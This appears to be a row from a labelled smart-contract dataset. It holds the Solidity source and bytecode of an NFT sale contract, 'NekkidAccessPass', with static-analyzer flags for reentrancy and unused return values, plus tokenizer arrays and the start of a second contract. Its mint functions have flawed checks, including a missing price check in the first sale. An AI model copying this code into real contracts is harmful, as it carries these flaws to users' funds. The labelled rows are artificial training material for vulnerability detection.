if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/NekkidAccessPass.sol
pragma solidity ^0.8.0;
contract NekkidAccessPass is Ownable, ERC721A, ReentrancyGuard {
uint private MAX_SUPPLY = 2000;
uint private constant MAX_PER_WALLET = 20;
bytes32 public firstSaleMerkleRoot;
mapping(address => uint256) public firstSaleClaimed;
mapping(address => bool) public firstSaleClaimedChecker;
bytes32 public secondSaleMerkleRoot;
mapping(address => uint256) public secondSaleClaimed;
mapping(address => bool) public secondSaleClaimedChecker;
struct SaleConfig {
uint32 publicSaleStartTime;
uint64 firstSalePrice;
uint64 secondSalePrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
constructor() ERC721A("Nekkid Access Pass", "NEKKID") {}
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
function gift(address[] calldata receivers) external onlyOwner {
require(totalSupply() + receivers.length <= MAX_SUPPLY, "MAX_MINT");
for (uint256 i = 0; i < receivers.length; i++) {
_safeMint(receivers[i], 1);
}
}
function reserveGiveaway(uint256 num, address walletAddress)
public
onlyOwner
{
require(totalSupply() + num <= MAX_SUPPLY, "Exceeds total supply");
_safeMint(walletAddress, num);
}
function firstSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, firstSaleMerkleRoot, leaf),
"Invalid Merkle Proof.");
uint256 price = uint256(saleConfig.firstSalePrice);
if (!firstSaleClaimedChecker[msg.sender]) {
firstSaleClaimedChecker[msg.sender] = true;
firstSaleClaimed[msg.sender] = 1;
}
require(firstSaleClaimed[msg.sender] > 0, "Address already minted num of tokens allowed");
firstSaleClaimed[msg.sender] = firstSaleClaimed[msg.sender] - quantity;
_safeMint(msg.sender, quantity);
refundIfOver(price * quantity);
}
function secondSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, secondSaleMerkleRoot, leaf),
"Invalid Merkle Proof.");
uint256 price = uint256(saleConfig.secondSalePrice);
require(price != 0, "sale has not begun yet");
if (!secondSaleClaimedChecker[msg.sender]) {
secondSaleClaimedChecker[msg.sender] = true;
secondSaleClaimed[msg.sender] = 5;
}
require(secondSaleClaimed[msg.sender] > 0, "Address already minted num of tokens allowed");
secondSaleClaimed[msg.sender] = secondSaleClaimed[msg.sender] - quantity;
_safeMint(msg.sender, quantity);
refundIfOver(price * quantity);
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
SaleConfig memory config = saleConfig;
uint256 publicSaleKey = uint256(config.publicSaleKey);
uint256 publicPrice = uint256(config.publicPrice);
uint256 publicSaleStartTime = uint256(config.publicSaleStartTime);
require(
publicSaleKey == callerPublicSaleKey,
"called with incorrect public sale key"
);
require(
isPublicSaleOn(publicPrice, publicSaleKey, publicSaleStartTime),
"public sale has not begun yet"
);
require(
totalSupply() + quantity <= MAX_SUPPLY,
"reached max supply"
);
require(
numberMinted(msg.sender) + quantity <= MAX_PER_WALLET,
"this wallet cannot mint any more"
);
_safeMint(msg.sender, quantity);
refundIfOver(publicPrice * quantity);
}
function refundIfOver(uint256 price) private {
require(msg.value >= price, "Need to send more ETH.");
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
return
publicPriceWei != 0 &&
publicSaleKey != 0 &&
block.timestamp >= publicSaleStartTime;
}
function setupSaleInfo(
uint64 firstSalePriceWei,
uint64 secondSalePriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
saleConfig = SaleConfig(
publicSaleStartTime,
firstSalePriceWei,
secondSalePriceWei,
publicPriceWei,
saleConfig.publicSaleKey
);
}
function setPublicSaleKey(uint32 key) external onlyOwner {
saleConfig.publicSaleKey = key;
}
function setPublicPrice(uint64 price) external onlyOwner {
saleConfig.publicPrice = price;
}
function setFirstSalePrice(uint64 price) external onlyOwner {
saleConfig.firstSalePrice = price;
}
function setSecondSalePrice(uint64 price) external onlyOwner {
saleConfig.secondSalePrice = price;
}
function setPublicSaleStartTime(uint32 time) external onlyOwner {
saleConfig.publicSaleStartTime = time;
}
function setFirstSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
firstSaleMerkleRoot = merkle_root;
}
function setSecondSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
secondSaleMerkleRoot = merkle_root;
}
function setMaxSupply(uint number) external onlyOwner {
MAX_SUPPLY = number;
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function withdrawMoney() external nonReentrant {
uint256 balance = address(this).balance;
payable(0x9e4A358854fE92d9bf17af6672503c38C52561D5).transfer(
(balance * 20) / 100
);
payable(0x136B152606143F5069E1C9cDdf1B023403c8445d).transfer(
(balance * 80) / 100
);
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
return ownershipOf(tokenId);
}
} | 0x60806040526004361061025c5760003560e01c806370a0823111610144578063a22cb465116100b6578063cb91d8b31161007a578063cb91d8b3146107b2578063d8929c8b146107c5578063dc33e681146107e5578063e0e3f5ef14610805578063e985e9c514610832578063f2fde38b1461087b57600080fd5b8063a22cb4651461071d578063ac4460021461073d578063b88d4fde14610752578063bb3f683314610772578063c87b56dd1461079257600080fd5b80638da5cb5b116101085780638da5cb5b146105c957806390028083146105e757806390aa0b0f146106075780639231ab2a1461069257806395d89b41146106e85780639da1a34d146106fd57600080fd5b806370a08231146105215780637138f80d14610541578063715018a61461056e57806371d782d014610583578063899e6003146105b357600080fd5b80632bf59ba5116101dd57806355f804b3116101a157806355f804b31461046157806359cd09bb146104815780635fd84c28146104a15780636352211e146104c157806368010d6e146104e15780636f8b44b01461050157600080fd5b80632bf59ba5146103c85780633b438ad1146103db578063422030ba1461040b57806342842e0e1461042b57806352c4cbaf1461044b57600080fd5b8063101f027911610224578063101f027914610332578063163e1e611461035257806318160ddd1461037257806322c3f7af1461039557806323b872dd146103a857600080fd5b806301ffc9a71461026157806306fdde0314610296578063081812fc146102b8578063095ea7b3146102f05780630c29dbae14610312575b600080fd5b34801561026d57600080fd5b5061028161027c3660046122d5565b61089b565b60405190151581526020015b60405180910390f35b3480156102a257600080fd5b506102ab6108ed565b60405161028d919061234a565b3480156102c457600080fd5b506102d86102d336600461235d565b61097f565b6040516001600160a01b03909116815260200161028d565b3480156102fc57600080fd5b5061031061030b366004612392565b6109c3565b005b34801561031e57600080fd5b5061031061032d3660046123d3565b610a50565b34801561033e57600080fd5b5061031061034d3660046123d3565b610ab0565b34801561035e57600080fd5b5061031061036d366004612439565b610b07565b34801561037e57600080fd5b50600254600154035b60405190815260200161028d565b6103106103a336600461247a565b610bd3565b3480156103b457600080fd5b506103106103c33660046124c5565b610dc5565b6103106103d636600461247a565b610dd0565b3480156103e757600080fd5b506102816103f6366004612501565b600d6020526000908152604090205460ff1681565b34801561041757600080fd5b5061028161042636600461251c565b610f63565b34801561043757600080fd5b506103106104463660046124c5565b610f87565b34801561045757600080fd5b50610387600b5481565b34801561046d57600080fd5b5061031061047c366004612548565b610fa2565b34801561048d57600080fd5b5061031061049c3660046125cd565b610fd8565b3480156104ad57600080fd5b506103106104bc366004612621565b6110bc565b3480156104cd57600080fd5b506102d86104dc36600461235d565b611102565b3480156104ed57600080fd5b506103106104fc36600461263c565b611114565b34801561050d57600080fd5b5061031061051c36600461235d565b6111ac565b34801561052d57600080fd5b5061038761053c366004612501565b6111db565b34801561054d57600080fd5b5061038761055c366004612501565b600f6020526000908152604090205481565b34801561057a57600080fd5b50610310611229565b34801561058f57600080fd5b5061028161059e366004612501565b60106020526000908152604090205460ff1681565b3480156105bf57600080fd5b50610387600e5481565b3480156105d557600080fd5b506000546001600160a01b03166102d8565b3480156105f357600080fd5b50610310610602366004612621565b61125f565b34801561061357600080fd5b506011546106579063ffffffff808216916001600160401b036401000000008204811692600160601b8304821692600160a01b810490921691600160e01b90041685565b6040805163ffffffff96871681526001600160401b03958616602082015293851690840152921660608201529116608082015260a00161028d565b34801561069e57600080fd5b506106b26106ad36600461235d565b6112ae565b6040805182516001600160a01b031681526020808401516001600160401b0316908201529181015115159082015260600161028d565b3480156106f457600080fd5b506102ab6112d4565b34801561070957600080fd5b5061031061071836600461235d565b6112e3565b34801561072957600080fd5b50610310610738366004612668565b611312565b34801561074957600080fd5b506103106113a7565b34801561075e57600080fd5b5061031061076d3660046126ba565b6114b7565b34801561077e57600080fd5b5061031061078d3660046123d3565b611508565b34801561079e57600080fd5b506102ab6107ad36600461235d565b611561565b6103106107c0366004612795565b6115e5565b3480156107d157600080fd5b506103106107e036600461235d565b6117fb565b3480156107f157600080fd5b50610387610800366004612501565b61182a565b34801561081157600080fd5b50610387610820366004612501565b600c6020526000908152604090205481565b34801561083e57600080fd5b5061028161084d3660046127b7565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205460ff1690565b34801561088757600080fd5b50610310610896366004612501565b611835565b60006001600160e01b031982166380ac58cd60e01b14806108cc57506001600160e01b03198216635b5e139f60e01b145b806108e757506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600380546108fc906127e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610928906127e1565b80156109755780601f1061094a57610100808354040283529160200191610975565b820191906000526020600020905b81548152906001019060200180831161095857829003601f168201915b5050505050905090565b600061098a826118d0565b6109a7576040516333d1c03960e21b815260040160405180910390fd5b506000908152600760205260409020546001600160a01b031690565b60006109ce82611102565b9050806001600160a01b0316836001600160a01b031603610a025760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614801590610a225750610a20813361084d565b155b15610a40576040516367d9dca160e11b815260040160405180910390fd5b610a4b8383836118fc565b505050565b6000546001600160a01b03163314610a835760405162461bcd60e51b8152600401610a7a9061281b565b60405180910390fd5b601180546001600160401b03909216600160a01b0267ffffffffffffffff60a01b19909216919091179055565b6000546001600160a01b03163314610ada5760405162461bcd60e51b8152600401610a7a9061281b565b601180546001600160401b03909216600160601b0267ffffffffffffffff60601b19909216919091179055565b6000546001600160a01b03163314610b315760405162461bcd60e51b8152600401610a7a9061281b565b600a5481610b426002546001540390565b610b4c9190612866565b1115610b855760405162461bcd60e51b815260206004820152600860248201526713505617d352539560c21b6044820152606401610a7a565b60005b81811015610a4b57610bc1838383818110610ba557610ba561287e565b9050602002016020810190610bba9190612501565b6001611958565b80610bcb81612894565b915050610b88565b323314610bf25760405162461bcd60e51b8152600401610a7a906128ad565b6040516001600160601b03193360601b166020820152600090603401604051602081830303815290604052805190602001209050610c6784848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050600e549150849050611972565b610cab5760405162461bcd60e51b815260206004820152601560248201527424b73b30b634b21026b2b935b63290283937b7b31760591b6044820152606401610a7a565b601154600160601b90046001600160401b03166000819003610d085760405162461bcd60e51b81526020600482015260166024820152751cd85b19481a185cc81b9bdd08189959dd5b881e595d60521b6044820152606401610a7a565b3360009081526010602052604090205460ff16610d4857336000908152601060209081526040808320805460ff19166001179055600f9091529020600590555b336000908152600f6020526040902054610d745760405162461bcd60e51b8152600401610a7a906128e4565b336000908152600f6020526040902054610d8f908490612930565b336000818152600f6020526040902091909155610dac9084611958565b610dbe610db98483612947565b611988565b5050505050565b610a4b838383611a0f565b323314610def5760405162461bcd60e51b8152600401610a7a906128ad565b6040516001600160601b03193360601b166020820152600090603401604051602081830303815290604052805190602001209050610e6484848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050600b549150849050611972565b610ea85760405162461bcd60e51b815260206004820152601560248201527424b73b30b634b21026b2b935b63290283937b7b31760591b6044820152606401610a7a565b601154336000908152600d60205260409020546401000000009091046001600160401b03169060ff16610eff57336000908152600d60209081526040808320805460ff19166001908117909155600c909252909120555b336000908152600c6020526040902054610f2b5760405162461bcd60e51b8152600401610a7a906128e4565b336000908152600c6020526040902054610f46908490612930565b336000818152600c6020526040902091909155610dac9084611958565b60008315801590610f7357508215155b8015610f7f5750814210155b949350505050565b610a4b838383604051806020016040528060008152506114b7565b6000546001600160a01b03163314610fcc5760405162461bcd60e51b8152600401610a7a9061281b565b610a4b60128383612226565b6000546001600160a01b031633146110025760405162461bcd60e51b8152600401610a7a9061281b565b6040805160a08101825263ffffffff9283168082526001600160401b0396871660208301819052958716928201839052939095166060860181905260118054600160e01b80820490951660809098018890526001600160601b031916909417640100000000909502949094176fffffffffffffffffffffffffffffffff60601b1916600160601b90910267ffffffffffffffff60a01b191617600160a01b909302929092176001600160e01b031692909102919091179055565b6000546001600160a01b031633146110e65760405162461bcd60e51b8152600401610a7a9061281b565b6011805463ffffffff191663ffffffff92909216919091179055565b600061110d82611c20565b5192915050565b6000546001600160a01b0316331461113e5760405162461bcd60e51b8152600401610a7a9061281b565b600a548261114f6002546001540390565b6111599190612866565b111561119e5760405162461bcd60e51b81526020600482015260146024820152734578636565647320746f74616c20737570706c7960601b6044820152606401610a7a565b6111a88183611958565b5050565b6000546001600160a01b031633146111d65760405162461bcd60e51b8152600401610a7a9061281b565b600a55565b60006001600160a01b038216611204576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600660205260409020546001600160401b031690565b6000546001600160a01b031633146112535760405162461bcd60e51b8152600401610a7a9061281b565b61125d6000611d3a565b565b6000546001600160a01b031633146112895760405162461bcd60e51b8152600401610a7a9061281b565b6011805463ffffffff909216600160e01b026001600160e01b03909216919091179055565b60408051606081018252600080825260208201819052918101919091526108e782611c20565b6060600480546108fc906127e1565b6000546001600160a01b0316331461130d5760405162461bcd60e51b8152600401610a7a9061281b565b600e55565b336001600160a01b0383160361133b5760405163b06307db60e01b815260040160405180910390fd5b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6002600954036113f95760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a7a565b600260095547739e4a358854fe92d9bf17af6672503c38c52561d56108fc6064611424846014612947565b61142e919061297c565b6040518115909202916000818181858888f19350505050158015611456573d6000803e3d6000fd5b5073136b152606143f5069e1c9cddf1b023403c8445d6108fc606461147c846050612947565b611486919061297c565b6040518115909202916000818181858888f193505050501580156114ae573d6000803e3d6000fd5b50506001600955565b6114c2848484611a0f565b6001600160a01b0383163b151580156114e457506114e284848484611d8a565b155b15611502576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6000546001600160a01b031633146115325760405162461bcd60e51b8152600401610a7a9061281b565b601180546001600160401b03909216640100000000026bffffffffffffffff0000000019909216919091179055565b606061156c826118d0565b61158957604051630a14c4b560e41b815260040160405180910390fd5b6000611593611e75565b905080516000036115b357604051806020016040528060008152506115de565b806115bd84611e84565b6040516020016115ce929190612990565b6040516020818303038152906040525b9392505050565b3233146116045760405162461bcd60e51b8152600401610a7a906128ad565b6040805160a08101825260115463ffffffff8082168084526001600160401b03640100000000840481166020860152600160601b8404811695850195909552600160a01b830490941660608401819052600160e01b909204166080830181905291928483146116c35760405162461bcd60e51b815260206004820152602560248201527f63616c6c6564207769746820696e636f7272656374207075626c69632073616c60448201526465206b657960d81b6064820152608401610a7a565b6116ce828483610f63565b61171a5760405162461bcd60e51b815260206004820152601d60248201527f7075626c69632073616c6520686173206e6f7420626567756e207965740000006044820152606401610a7a565b600a548661172b6002546001540390565b6117359190612866565b11156117785760405162461bcd60e51b815260206004820152601260248201527172656163686564206d617820737570706c7960701b6044820152606401610a7a565b6014866117843361182a565b61178e9190612866565b11156117dc5760405162461bcd60e51b815260206004820181905260248201527f746869732077616c6c65742063616e6e6f74206d696e7420616e79206d6f72656044820152606401610a7a565b6117e63387611958565b6117f3610db98784612947565b505050505050565b6000546001600160a01b031633146118255760405162461bcd60e51b8152600401610a7a9061281b565b600b55565b60006108e782611f84565b6000546001600160a01b0316331461185f5760405162461bcd60e51b8152600401610a7a9061281b565b6001600160a01b0381166118c45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a7a565b6118cd81611d3a565b50565b6000600154821080156108e7575050600090815260056020526040902054600160e01b900460ff161590565b60008281526007602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6111a8828260405180602001604052806000815250611fd9565b60008261197f8584611fe6565b14949350505050565b803410156119d15760405162461bcd60e51b81526020600482015260166024820152752732b2b2103a379039b2b7321036b7b9329022aa241760511b6044820152606401610a7a565b803411156118cd57336108fc6119e78334612930565b6040518115909202916000818181858888f193505050501580156111a8573d6000803e3d6000fd5b6000611a1a82611c20565b80519091506000906001600160a01b0316336001600160a01b03161480611a4857508151611a48903361084d565b80611a63575033611a588461097f565b6001600160a01b0316145b905080611a8357604051632ce44b5f60e11b815260040160405180910390fd5b846001600160a01b031682600001516001600160a01b031614611ab85760405162a1148160e81b815260040160405180910390fd5b6001600160a01b038416611adf57604051633a954ecd60e21b815260040160405180910390fd5b611aef60008484600001516118fc565b6001600160a01b038581166000908152600660209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600590945282852080546001600160e01b031916909417600160a01b429092169190910217909255908601808352912054909116611bd957600154811015611bd957825160008281526005602090815260409091208054918601516001600160401b0316600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4610dbe565b604080516060810182526000808252602082018190529181019190915281600154811015611d2157600081815260056020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290611d1f5780516001600160a01b031615611cb6579392505050565b5060001901600081815260056020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215611d1a579392505050565b611cb6565b505b604051636f96cda160e11b815260040160405180910390fd5b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a0290611dbf9033908990889088906004016129bf565b6020604051808303816000875af1925050508015611dfa575060408051601f3d908101601f19168201909252611df7918101906129fc565b60015b611e58573d808015611e28576040519150601f19603f3d011682016040523d82523d6000602084013e611e2d565b606091505b508051600003611e50576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b6060601280546108fc906127e1565b606081600003611eab5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611ed55780611ebf81612894565b9150611ece9050600a8361297c565b9150611eaf565b6000816001600160401b03811115611eef57611eef6126a4565b6040519080825280601f01601f191660200182016040528015611f19576020820181803683370190505b5090505b8415610f7f57611f2e600183612930565b9150611f3b600a86612a19565b611f46906030612866565b60f81b818381518110611f5b57611f5b61287e565b60200101906001600160f81b031916908160001a905350611f7d600a8661297c565b9450611f1d565b60006001600160a01b038216611fad576040516335ebb31960e01b815260040160405180910390fd5b506001600160a01b0316600090815260066020526040902054600160401b90046001600160401b031690565b610a4b838383600161205a565b600081815b84518110156120525760008582815181106120085761200861287e565b6020026020010151905080831161202e576000838152602082905260409020925061203f565b600081815260208490526040902092505b508061204a81612894565b915050611feb565b509392505050565b6001546001600160a01b03851661208357604051622e076360e81b815260040160405180910390fd5b836000036120a45760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038516600081815260066020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168c018116918217600160401b67ffffffffffffffff1990941690921783900481168c01811690920217909155858452600590925290912080546001600160e01b031916909217600160a01b42909216919091021790558080850183801561215057506001600160a01b0387163b15155b156121d8575b60405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46121a16000888480600101955088611d8a565b6121be576040516368d2bf6b60e11b815260040160405180910390fd5b8082036121565782600154146121d357600080fd5b61221d565b5b6040516001830192906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a48082036121d9575b50600155610dbe565b828054612232906127e1565b90600052602060002090601f016020900481019282612254576000855561229a565b82601f1061226d5782800160ff1982351617855561229a565b8280016001018555821561229a579182015b8281111561229a57823582559160200191906001019061227f565b506122a69291506122aa565b5090565b5b808211156122a657600081556001016122ab565b6001600160e01b0319811681146118cd57600080fd5b6000602082840312156122e757600080fd5b81356115de816122bf565b60005b8381101561230d5781810151838201526020016122f5565b838111156115025750506000910152565b600081518084526123368160208601602086016122f2565b601f01601f19169290920160200192915050565b6020815260006115de602083018461231e565b60006020828403121561236f57600080fd5b5035919050565b80356001600160a01b038116811461238d57600080fd5b919050565b600080604083850312156123a557600080fd5b6123ae83612376565b946020939093013593505050565b80356001600160401b038116811461238d57600080fd5b6000602082840312156123e557600080fd5b6115de826123bc565b60008083601f84011261240057600080fd5b5081356001600160401b0381111561241757600080fd5b6020830191508360208260051b850101111561243257600080fd5b9250929050565b6000806020838503121561244c57600080fd5b82356001600160401b0381111561246257600080fd5b61246e858286016123ee565b90969095509350505050565b60008060006040848603121561248f57600080fd5b83356001600160401b038111156124a557600080fd5b6124b1868287016123ee565b909790965060209590950135949350505050565b6000806000606084860312156124da57600080fd5b6124e384612376565b92506124f160208501612376565b9150604084013590509250925092565b60006020828403121561251357600080fd5b6115de82612376565b60008060006060848603121561253157600080fd5b505081359360208301359350604090920135919050565b6000806020838503121561255b57600080fd5b82356001600160401b038082111561257257600080fd5b818501915085601f83011261258657600080fd5b81358181111561259557600080fd5b8660208285010111156125a757600080fd5b60209290920196919550909350505050565b803563ffffffff8116811461238d57600080fd5b600080600080608085870312156125e357600080fd5b6125ec856123bc565b93506125fa602086016123bc565b9250612608604086016123bc565b9150612616606086016125b9565b905092959194509250565b60006020828403121561263357600080fd5b6115de826125b9565b6000806040838503121561264f57600080fd5b8235915061265f60208401612376565b90509250929050565b6000806040838503121561267b57600080fd5b61268483612376565b91506020830135801515811461269957600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600080600080608085870312156126d057600080fd5b6126d985612376565b93506126e760208601612376565b92506040850135915060608501356001600160401b038082111561270a57600080fd5b818701915087601f83011261271e57600080fd5b813581811115612730576127306126a4565b604051601f8201601f19908116603f01168101908382118183101715612758576127586126a4565b816040528281528a602084870101111561277157600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b600080604083850312156127a857600080fd5b50508035926020909101359150565b600080604083850312156127ca57600080fd5b6127d383612376565b915061265f60208401612376565b600181811c908216806127f557607f821691505b60208210810361281557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000821982111561287957612879612850565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600182016128a6576128a6612850565b5060010190565b6020808252601e908201527f5468652063616c6c657220697320616e6f7468657220636f6e74726163740000604082015260600190565b6020808252602c908201527f4164647265737320616c7265616479206d696e746564206e756d206f6620746f60408201526b1ad95b9cc8185b1b1bddd95960a21b606082015260800190565b60008282101561294257612942612850565b500390565b600081600019048311821515161561296157612961612850565b500290565b634e487b7160e01b600052601260045260246000fd5b60008261298b5761298b612966565b500490565b600083516129a28184602088016122f2565b8351908301906129b68183602088016122f2565b01949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906129f29083018461231e565b9695505050505050565b600060208284031215612a0e57600080fd5b81516115de816122bf565b600082612a2857612a28612966565b50069056fea26469706673582212201da58039a1dcb30a2648ae8802e792c5c9586bb810d1c045e45838afee7e204b64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
26976,
18139,
2050,
2475,
2094,
2487,
4215,
2546,
22022,
2692,
4402,
14142,
22407,
2575,
2546,
22394,
2050,
2581,
2094,
21926,
2683,
2094,
2683,
2509,
2050,
19841,
2620,
2497,
2683,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
19888,
9888,
1013,
21442,
19099,
18907,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1006,
2197,
7172,
1058,
2549,
1012,
1019,
1012,
1014,
1007,
1006,
21183,
12146,
1013,
19888,
9888,
1013,
21442,
19099,
18907,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
2122,
4972,
3066,
2007,
22616,
1997,
21442,
19099,
3628,
6947,
2015,
1012,
1008,
1008,
1996,
6947,
2015,
2064,
2022,
7013,
2478,
1996,
9262,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,592 | 0x956492faa5266ea2bfd97b8aef059ef5d54342a9 | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
